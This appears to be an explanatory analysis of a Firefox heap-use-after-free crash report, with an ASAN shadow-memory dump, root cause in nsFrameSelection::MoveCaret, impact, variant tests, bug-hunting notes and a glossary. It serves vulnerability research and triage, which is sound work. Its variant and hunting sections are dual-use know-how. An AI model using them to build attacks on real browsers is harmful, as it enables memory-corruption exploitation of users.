0x0c22800568e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c22800568f0: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280056900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2280056910: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==19751==ABORTING
ASAN keeps a small map, called shadow memory, that records the state of every chunk of program memory. Each shadow byte describes 8 bytes of real memory. The legend explains the codes: 00 means the memory is fine to use, fa and fb are guard areas around an allocation, and fd means the memory belongs to a freed region. The arrow => points at the shadow byte covering the address that was read, and it is fd, so ASAN knows the read was into freed memory. ABORTING means ASAN stopped the program on purpose rather than letting it continue with corrupted state.
Root cause
The freed object is the text editor state bound to the text control frame, allocated in nsTextEditorState::BindToFrame when the textarea was focused. The cycle collector frees it during the forced collections in the resize handler. The key event dispatched in fun0 is then handled by the XBL key handler, which dispatches a selection move command, and nsFrameSelection::MoveCaret reads the frame that has already been released.
The report does not describe the exact ownership or lifetime mistake in the selection code, only the crash and its stacks. The likely pattern is that the selection object keeps a reference to a frame that the cycle collector can free while the selection still holds it, so the key command path reaches a dangling pointer, a pointer to memory that has been freed. The forced cycle collections are what make the free happen at a controlled moment, between the focus and the key handling.
Impact
The crash is a heap-use-after-free in the content process, which is a memory-safety bug. The report does not demonstrate code execution or any other impact beyond the crash, and it does not state whether the freed memory could be reused with attacker-controlled contents.
Fix
What it establishes is the crash location and the sequence that produces it, which is what a fix would need to address: the lifetime of the frame read by nsFrameSelection::MoveCaret relative to cycle collection.
Variants to test
- Replace the End key (key code 35) with other selection movement keys and check whether the same
MoveCaretframe appears in the ASAN stack. - Vary the number of
fuzzPriv.CC()calls in the resize handler; a crash with fewer collections would show the free is easier to reach. - Swap the textarea for other focusable form controls and see whether the allocation stack still points at
nsTextEditorState::BindToFrame. - Remove the animation or the style attribute change in
fun1and check whether the crash still reproduces, to isolate which restyle is required. - Change the iframe height from
-8pxto other values and check whether the resize handler still runs before the key event is handled.
Hunting notes
This kind of bug sits at the boundary between layout, selection and the cycle collector: objects that the selection code holds across a restyle or a collection. The signals are ASAN reports whose free stack goes through SnowWhiteKiller and nsCycleCollector, with an allocation stack in frame construction or text editor state. The researcher showed impact by producing a deterministic ASAN crash with a full allocation and free stack, which is the evidence a browser programme needs to triage a memory-safety report.
Glossary
- ASAN (AddressSanitizer): a debugging tool built into a special build of a program that detects invalid memory accesses and records where the memory was allocated and freed.
- Anonymous content: internal elements a browser creates for a control, such as the pieces inside a text box, which are not part of the page's own HTML.
- Bug bounty programme: a scheme where a software maker pays people to report security problems.
- Caret: the blinking line showing where typed text will appear.
- Content process: the separate process in which a browser runs a web page, isolated from the rest of the browser.
- Cycle collection: a garbage collector that finds groups of objects referring to each other in a loop but no longer reachable, and frees them.
- Dangling pointer: a pointer to memory that has already been freed.
- Data URL: a link that contains the whole document inline, starting with
data:text/html,, instead of pointing at a server. - DOM: the browser's in-memory model of a web page and its elements.
- Extension: an add-on that adds features to a browser.
- Frame: the internal layout object a browser builds for an element so it knows where to draw it.
fuzzPriv: a testing extension that gives page scripts access to privileged internal helpers.- Heap: the area of memory a program uses for objects it creates while running.
- HTML: the language web pages are written in.
- iframe: a web page embedded inside another web page.
- Key code: a number identifying which key was pressed; 35 is the End key.
- Memory-safety bug: a bug where a program reads or writes memory it should not, which can sometimes be exploited beyond a crash.
nsFrameSelection: the layout-side object that tracks a selection inside a frame.- Pointer: a value that holds the memory address of an object.
- Selection: the highlighted text or the caret position in a document.
- Shadow memory: ASAN's map recording the state of every chunk of program memory.
- Stack trace: a list of the function calls active at a moment, newest first.
- Textarea: a multi-line text box on a web page.
- Trusted key event: a key event the browser treats as coming from real user input, which some actions only run for.
- Use after free: a bug where a program reads or writes memory after it has been freed.
- XBL: an old Firefox mechanism for binding behaviour, such as key handling, to elements.